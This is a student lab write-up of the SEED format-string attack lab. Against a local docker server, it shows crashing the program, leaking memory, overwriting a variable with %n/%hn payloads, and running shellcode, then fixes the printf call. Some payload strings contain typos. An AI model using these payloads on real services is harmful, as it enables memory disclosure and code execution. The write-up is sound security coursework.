

## Format String Attack Lab

### Task 1: Crashing the Program

Set up docker and environment:

```
[09/29/25]seed@VM:~/.../server-code$ make
gcc -o server server.c
gcc -DBUF_SIZE=100 -z execstack -static -m32 -o format-32 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
  44 |     printf(msg);
     | ^~~~~~
gcc -DBUF_SIZE=100 -z execstack -o format-64 format.c
format.c: In function 'myprintf':
format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security]
  44 |     printf(msg);
     | ^~~~~~
[09/29/25]seed@VM:~/.../server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

```
[09/29/25] seed@VM:~/.../Labsetup$ docker-compose build
Building fmt-server-1
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
--> 1102071f4a1d
Step 2/6 : COPY server      /fmt/
--> 28969a003c99
Step 3/6 : ARG ARCH
--> Running in b2c361a788fc
Removing intermediate container b2c361a788fc
--> f7c9563df577
Step 4/6 : COPY format-${ARCH}  /fmt/format
--> 791f19cb36c1
Step 5/6 : WORKDIR /fmt
--> Running in 1540cee89f26
Removing intermediate container 1540cee89f26
--> d8eaa4b4f0e6
Step 6/6 : CMD ./server
--> Running in 3679d1ceff06
Removing intermediate container 3679d1ceff06
--> c3ac41c8bdb2

Successfully built c3ac41c8bdb2
Successfully tagged seed-image-fmt-server-1:latest
Building fmt-server-2
Step 1/6 : FROM handsonsecurity/seed-ubuntu:small
--> 1102071f4a1d
Step 2/6 : COPY server      /fmt/
--> Using cache
--> 28969a003c99
Step 3/6 : ARG ARCH
--> Using cache
--> f7c9563df577
Step 4/6 : COPY format-${ARCH}  /fmt/format
--> 6d14e35ec61e
Step 5/6 : WORKDIR /fmt
--> Running in 2ff5a1091ee0
Removing intermediate container 2ff5a1091ee0
--> 10d079cd050d
Step 6/6 : CMD ./server
--> Running in 18da02608245
Removing intermediate container 18da02608245
--> e0fa90ec372c

Successfully built e0fa90ec372c
Successfully tagged seed-image-fmt-server-2:latest
```

Send a message to the server

```
[09/29/25] seed@VM:~/.../Labsetup$ echo hello | nc 10.9.0.5 9090
^C
```

See response

```
[09/29/25] seed@VM:~/.../Labsetup$ docker logs -f server-10.9.0.5
Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xfffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 6 bytes.
Frame Pointer (inside myprintf): 0xfffffd4d8
The target variable's value (before): 0x11223344
hello
The target variable's value (after): 0x11223344
(^_~)(^_~) Returned properly (^_~)(^_~)
```

Using the build\_string.py file, we create a badfile and send it to the server

```
[09/29/25] seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25] seed@VM:~/.../attack-code$ ls
badfile  build_string.py  exploit.py
[09/29/25] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
Got a connection from 10.9.0.1
Starting format
The input buffer's address: 0xfffffd5b0
The secret message's address: 0x080b4008
The target variable's address: 0x080e5068
Waiting for user input .....
Received 1500 bytes.
Frame Pointer (inside myprintf): 0xfffffd4d8
The target variable's value (before): 0x11223344
```

From this, we can see that “(^\_~)(^\_~) Returned properly (^\_~)(^\_~)” was not printed so we successfully crashed the function.

## Task 2: Printing Out the Server Program's Memory

Pick a marker → 0x40404040 and update build\_string.py

```
[09/29/25] seed@VM:~/.../attack-code$ nano build_string.py
[09/29/25] seed@VM:~/.../attack-code$ ./build_string.py
[09/29/25] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

Then send the file to the server

In the printed sequence the marker 40404040 appears as the 64th printed token. That means you need 64 %x specifiers to reach the first 4 bytes of your input in this run.

Do the same for the hex string using the secret message's address

In which we were able to get the secret message.

## Task 3: Modifying the Server Program's Memory

We use the offset that we got from  $2A \rightarrow 64$ , use the target variable address: `0x080e5068` and modify `build_string.py` once again

```
[09/29/25]seed@VM:~/.../attack-code$ nano build_string.py  
[09/29/25]seed@VM:~/.../attack-code$ ./build_string.py  
[09/29/25]seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

From this, we can see that we were able to change the target variable's value from before (0x11223344) to after (0x00000200).

We use the offset that we got from  $2A \rightarrow 64$ , use the target variable address: `0x080e5068` and modify build\_string.py once again

Calculate:  $0x5000 = 20480 \rightarrow 20480 - (8*63) = 19976$

Therefore we modify build\_string.py to "%.<sup>19976</sup>x%n"

```
[09/29/25] seed@VM:~/.../attack-code$ nano build_string.py  
[09/29/25] seed@VM:~/.../attack-code$ ./build_string.py  
[09/29/25] seed@VM:~/.../attack-code$ cat badfile | nc 10.9.0.5 9090
```

From this we can see that the value before (0x11223344) was changed to (0x00005000) as we wanted to.

Similarly do the same process as before

$$0xAABB \rightarrow 43707 - (8 * 62) - 12 = 43199$$

**0xCCDD → 52445 - 43707 = 8738**

Therefore we modify build\_string.py to %.<sup>43199</sup>x&hn.<sup>8738</sup>x%hn”

From this we can see that the value before (0x11223344) was changed to (0xAABBCCDD) as we wanted to.

## **Task 4: Inject Malicious Code into the Server Program**

Similar to before, but now use Frame pointer → 0xffffd4d8

$$0xFFFF \rightarrow 65535 \rightarrow 65535 - 12 - (8*62) - (1*62) = 64965$$

Input buffer's address → 0xffffd5b0 → 54704 + 1 + 0x168 = 55065

Therefore, we get “%.8x.”\*62 + “%.64965x”+”%hn” + “&.55065x” + “%hn”

## Modify exploit.py

From this, we can see that we were able to run the shellcode by using exploit.py

## Task 6: Fixing the Problem

Modify `printf(msg)` to `printf("%os",msg)` and make again

```
[09/29/25]seed@VM:~/....server-code$ nano format.c
[09/29/25]seed@VM:~/....server-code$ make
gcc -DBUF_SIZE=100 -z execstack -static -m32 -o format-32 format.c
gcc -DBUF_SIZE=100 -z execstack -o format-64 format.c
[09/29/25]seed@VM:~/....server-code$ make install
cp server ../fmt-containers
cp format-* ../fmt-containers
```

And run attack from task 1

From this, we can see that “Returned properly” is printed, which means we did not crash the program, preventing the attack. By fixing the code to `printf("%s", msg)`, the user input is treated as plain text rather than a format string. After this change, the warning disappears, and previous attacks using `%n` or other format specifiers no longer work because the input is no longer interpreted as a format string.